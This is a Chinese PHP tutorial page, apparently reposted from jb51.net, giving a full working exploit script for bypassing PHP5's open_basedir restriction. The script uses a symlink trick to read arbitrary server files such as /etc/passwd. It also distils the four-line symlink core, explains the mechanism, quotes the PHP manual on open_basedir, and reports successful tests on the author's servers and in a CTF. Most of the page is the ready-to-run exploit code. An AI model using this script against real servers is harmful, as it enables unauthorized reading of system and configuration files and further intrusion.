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HomeBackend DevelopmentPHP TutorialPHP5全版本绕过open_basedir读文件脚本漏洞详细介绍_php技巧

漏洞很久之前(大概5年前)被提出来了,但并不是php代码上的问题,所以问题一直存在,直到现在。我一直没留意,后来yaseng告诉我的,他测试了好像5.5都可以。

漏洞详情在这里 http://cxsecurity.com/issue/WLB-2009110068

给出我写的EXP:

复制代码 代码如下:

/*
* by phithon
* From http://www.jb51.net
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i   mkdir($paths[$i]);
  chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
  chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
  mkdir($name);
  chdir($name);
  $j++;
}
for ($i = 0; $i   chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
  // some compatibility fixes for Windows paths
  $from = rtrim($from, '\/') . '/';
  $from = str_replace('\\', '/', $from);
  $to   = str_replace('\\', '/', $to);

  $from   = explode('/', $from);
  $to     = explode('/', $to);
  $relPath  = $to;

  foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
      // ignore this directory
      array_shift($relPath);
    } else {
      // get number of remaining dirs to $from
      $remaining = count($from) - $depth;
      if($remaining > 1) {
        // add traversals up to first matching dir
        $padLength = (count($relPath) + $remaining - 1) * -1;
        $relPath = array_pad($relPath, $padLength, '..');
        break;
      } else {
        $relPath[0] = './' . $relPath[0];
      }
    }
  }
  return implode('/', $relPath);
}

function delfile($deldir){
  if (@is_file($deldir)) {
    @chmod($deldir,0777);
    return @unlink($deldir);
  }else if(@is_dir($deldir)){
    if(($mydir = @opendir($deldir)) == NULL) return false;
    while(false !== ($file = @readdir($mydir)))
    {
      $name = File_Str($deldir.'/'.$file);
      if(($file!='.') && ($file!='..')){delfile($name);}
    }
    @closedir($mydir);
    @chmod($deldir,0777);
    return @rmdir($deldir) ? true : false;
  }
}

function File_Str($string)
{
  return str_replace('//','/',str_replace('\\','/',$string));
}

function getRandStr($length = 6) {
  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  $randStr = '';
  for ($i = 0; $i     $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
  }
  return $randStr;
}

如我们欲读取/etc/passwd。其实原理就是创建一个链接文件x,用相对路径指向a/a/a/a,再创建一个链接文件exp指向x/../../../etc/passwd。

其实指向的就是a/a/a/a/../../../etc/passwd,其实就是./etc/passwd。

这时候删除x,再创建一个x目录,但exp还是指向x/../../../etc/passwd,所以就成功跨到/etc/passwd了。

精华就是这四句:

复制代码 代码如下:

symlink("abc/abc/abc/abc","tmplink");
symlink("tmplink/../../../etc/passwd", "exploit");
unlink("tmplink");
mkdir("tmplink");

我们访问http://xxx/exp,如果服务器支持链接文件的访问,那么就能读到/etc/passwd。

其中并没有任何操作触发open_basedir,但达到的 效果就是绕过了open_basedir读取任意文件 。

错误不在php,但又不知道把错误归结到谁头上,所以php一直未管这个问题。

open_basedir

将 PHP 所能打开的文件限制在指定的目录树,包括文件本身。本指令 不受 安全模式打开或者关闭的影响。

当一个脚本试图用例如 fopen() 或者 gzopen() 打开一个文件时,该文件的位置将被检查。当文件在指定的目录树之外时 PHP 将拒绝打开它。所有的符号连接都会被解析,所以不可能通过符号连接来避开此限制。

特殊值 . 指明脚本的工作目录将被作为基准目录。但这有些危险,因为脚本的工作目录可以轻易被 chdir() 而改变。

在 httpd.conf 文件中中,open_basedir 可以像其它任何配置选项一样用“php_admin_value open_basedir none”的 方法 关闭(例如某些虚拟主机中)。

在 Windows 中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为 Apache 模块时,父目录中的 open_basedir 路径自动被继承。

用 open_basedir 指定的限制实际上是前缀,不是目录名。也就是说“open_basedir = /dir/incl”也会允许访问“/dir/include”和“/dir/incls”,如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜 线结束路径名。例如:“open_basedir = /dir/incl/”。

Note:

支持多个目录是 3.0.7 加入的。

默认是允许打开所有文件。

我在我的VPS(php5.3.28 + nginx)和树莓派(php 5.4.4 + nginx)上都测试过,成功读取。

树莓派测试:

相比于5.3 XML那个洞(那个很多文件读不了),这个成功率还是比较稳的,很多文件都能读。而且版本没要求,危害比较大。

前几天成信的CTF,试了下这个脚本,apache也可以读取,当时读了读kali机子的/etc/httpd/conf/httpd.conf,没啥收获。

发现没旁站,流量是通过网关转发的。

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